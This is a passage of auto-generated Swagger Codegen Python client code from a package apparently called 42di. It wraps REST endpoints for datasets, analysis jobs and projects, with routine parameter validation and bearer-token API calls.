raise ValueError("Missing the required parameter `team_id` when calling `put_dataset_data_file`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `put_dataset_data_file`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `put_dataset_data_file`") # noqa: E501
# verify the required parameter 'data_file_name' is set
if ('data_file_name' not in params or
params['data_file_name'] is None):
raise ValueError("Missing the required parameter `data_file_name` when calling `put_dataset_data_file`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
if 'data_file_name' in params:
path_params['data_file_name'] = params['data_file_name'] # noqa: E501
query_params = []
header_params = {}
if 'x_di_tag' in params:
header_params['X-DI-Tag'] = params['x_di_tag'] # noqa: E501
if 'content_type' in params:
header_params['Content-Type'] = params['content_type'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Content-Type`
#header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
# ['application/octet-stream']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}/data/{data_file_name}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_dataset(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Update Dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_dataset(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param Dataset body: The **Dataset** object will be updated/created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_dataset_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
else:
(data) = self.update_dataset_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
return data
def update_dataset_with_http_info(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Update Dataset # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_dataset_with_http_info(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param Dataset body: The **Dataset** object will be updated/created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_dataset" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `update_dataset`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `update_dataset`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `update_dataset`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_dataset_property(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Update Dataset property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_dataset_property(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_dataset_property_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
else:
(data) = self.update_dataset_property_with_http_info(team_id, project_id, dataset_id, **kwargs) # noqa: E501
return data
def update_dataset_property_with_http_info(self, team_id, project_id, dataset_id, **kwargs): # noqa: E501
"""Update Dataset property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_dataset_property_with_http_info(team_id, project_id, dataset_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param str dataset_id: the **Dataset** name (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id', 'dataset_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_dataset_property" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `update_dataset_property`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `update_dataset_property`") # noqa: E501
# verify the required parameter 'dataset_id' is set
if ('dataset_id' not in params or
params['dataset_id'] is None):
raise ValueError("Missing the required parameter `dataset_id` when calling `update_dataset_property`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'dataset_id' in params:
path_params['dataset_id'] = params['dataset_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/datasets/{dataset_id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/datasets_api.py
|
datasets_api.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class AnalysisApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def adopt_analaysis_job(self, **kwargs): # noqa: E501
"""Adopt an analysis job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.adopt_analaysis_job(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: AnalysisJob
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.adopt_analaysis_job_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.adopt_analaysis_job_with_http_info(**kwargs) # noqa: E501
return data
def adopt_analaysis_job_with_http_info(self, **kwargs): # noqa: E501
"""Adopt an analysis job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.adopt_analaysis_job_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: AnalysisJob
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method adopt_analaysis_job" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/analysis/jobs/adopt', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AnalysisJob', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_analaysis_job(self, team_id, job_id, **kwargs): # noqa: E501
"""Get the analysis job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_analaysis_job(team_id, job_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str job_id: the **AnalysisJob** identity (required)
:return: AnalysisJob
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_analaysis_job_with_http_info(team_id, job_id, **kwargs) # noqa: E501
else:
(data) = self.get_analaysis_job_with_http_info(team_id, job_id, **kwargs) # noqa: E501
return data
def get_analaysis_job_with_http_info(self, team_id, job_id, **kwargs): # noqa: E501
"""Get the analysis job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_analaysis_job_with_http_info(team_id, job_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str job_id: the **AnalysisJob** identity (required)
:return: AnalysisJob
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'job_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_analaysis_job" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_analaysis_job`") # noqa: E501
# verify the required parameter 'job_id' is set
if ('job_id' not in params or
params['job_id'] is None):
raise ValueError("Missing the required parameter `job_id` when calling `get_analaysis_job`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'job_id' in params:
path_params['job_id'] = params['job_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/analysis/jobs/{job_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AnalysisJob', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_algorithms(self, **kwargs): # noqa: E501
"""List algorithms # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_algorithms(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[Algorithm]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_algorithms_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.list_algorithms_with_http_info(**kwargs) # noqa: E501
return data
def list_algorithms_with_http_info(self, **kwargs): # noqa: E501
"""List algorithms # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_algorithms_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[Algorithm]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_algorithms" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/analysis/algorithms', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Algorithm]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_analysis_jobs(self, team_id, **kwargs): # noqa: E501
"""List analysis jobs # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_analysis_jobs(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:return: list[AnalysisJob]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_analysis_jobs_with_http_info(team_id, **kwargs) # noqa: E501
else:
(data) = self.list_analysis_jobs_with_http_info(team_id, **kwargs) # noqa: E501
return data
def list_analysis_jobs_with_http_info(self, team_id, **kwargs): # noqa: E501
"""List analysis jobs # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_analysis_jobs_with_http_info(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:return: list[AnalysisJob]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_analysis_jobs" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `list_analysis_jobs`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/analysis/jobs', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[AnalysisJob]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def report_analysis_status(self, team_id, job_id, **kwargs): # noqa: E501
"""Report analysis status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.report_analysis_status(team_id, job_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str job_id: the **AnalysisJob** identity (required)
:param AnalysisJobStatus body: The **AnalysisJobStatus** object to update.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.report_analysis_status_with_http_info(team_id, job_id, **kwargs) # noqa: E501
else:
(data) = self.report_analysis_status_with_http_info(team_id, job_id, **kwargs) # noqa: E501
return data
def report_analysis_status_with_http_info(self, team_id, job_id, **kwargs): # noqa: E501
"""Report analysis status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.report_analysis_status_with_http_info(team_id, job_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str job_id: the **AnalysisJob** identity (required)
:param AnalysisJobStatus body: The **AnalysisJobStatus** object to update.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'job_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method report_analysis_status" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `report_analysis_status`") # noqa: E501
# verify the required parameter 'job_id' is set
if ('job_id' not in params or
params['job_id'] is None):
raise ValueError("Missing the required parameter `job_id` when calling `report_analysis_status`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'job_id' in params:
path_params['job_id'] = params['job_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/analysis/jobs/{job_id}/status', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def submit_analysis_job(self, team_id, job_id, **kwargs): # noqa: E501
"""Submit analysis job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.submit_analysis_job(team_id, job_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str job_id: the **AnalysisJob** identity (required)
:param AnalysisJobDescription body: The **AnalysisJobDescription** object to create an AnalysisJob.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.submit_analysis_job_with_http_info(team_id, job_id, **kwargs) # noqa: E501
else:
(data) = self.submit_analysis_job_with_http_info(team_id, job_id, **kwargs) # noqa: E501
return data
def submit_analysis_job_with_http_info(self, team_id, job_id, **kwargs): # noqa: E501
"""Submit analysis job # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.submit_analysis_job_with_http_info(team_id, job_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str job_id: the **AnalysisJob** identity (required)
:param AnalysisJobDescription body: The **AnalysisJobDescription** object to create an AnalysisJob.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'job_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method submit_analysis_job" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `submit_analysis_job`") # noqa: E501
# verify the required parameter 'job_id' is set
if ('job_id' not in params or
params['job_id'] is None):
raise ValueError("Missing the required parameter `job_id` when calling `submit_analysis_job`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'job_id' in params:
path_params['job_id'] = params['job_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/analysis/jobs/{job_id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/analysis_api.py
|
analysis_api.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class ProjectsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_project(self, team_id, **kwargs): # noqa: E501
"""Create Project # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_project(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param Project body: The **Project** object will be created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_project_with_http_info(team_id, **kwargs) # noqa: E501
else:
(data) = self.create_project_with_http_info(team_id, **kwargs) # noqa: E501
return data
def create_project_with_http_info(self, team_id, **kwargs): # noqa: E501
"""Create Project # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_project_with_http_info(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param Project body: The **Project** object will be created.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_project" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `create_project`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_project(self, team_id, project_id, **kwargs): # noqa: E501
"""Get Project # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_project(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:return: Project
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_project_with_http_info(team_id, project_id, **kwargs) # noqa: E501
else:
(data) = self.get_project_with_http_info(team_id, project_id, **kwargs) # noqa: E501
return data
def get_project_with_http_info(self, team_id, project_id, **kwargs): # noqa: E501
"""Get Project # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_project_with_http_info(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:return: Project
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'project_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_project" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_project`") # noqa: E501
# verify the required parameter 'project_id' is set
if ('project_id' not in params or
params['project_id'] is None):
raise ValueError("Missing the required parameter `project_id` when calling `get_project`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Project', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_project_subs(self, team_id, project_id, **kwargs): # noqa: E501
"""Get Project Subs # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_project_subs(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param bool current: Current login user
:param bool expired: The results contains expired records or not
:return: list[ProjectSub]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_project_subs_with_http_info(team_id, project_id, **kwargs) # noqa: E501
else:
(data) = self.get_project_subs_with_http_info(team_id, project_id, **kwargs) # noqa: E501
return data
def get_project_subs_with_http_info(self, team_id, project_id, **kwargs): # noqa: E501
"""Get Project Subs # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_project_subs_with_http_info(team_id, project_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param str project_id: the **Project** identity (required)
:param bool current: Current login user
:param bool expired: The results contains expired records or not
:return: list[ProjectSub]
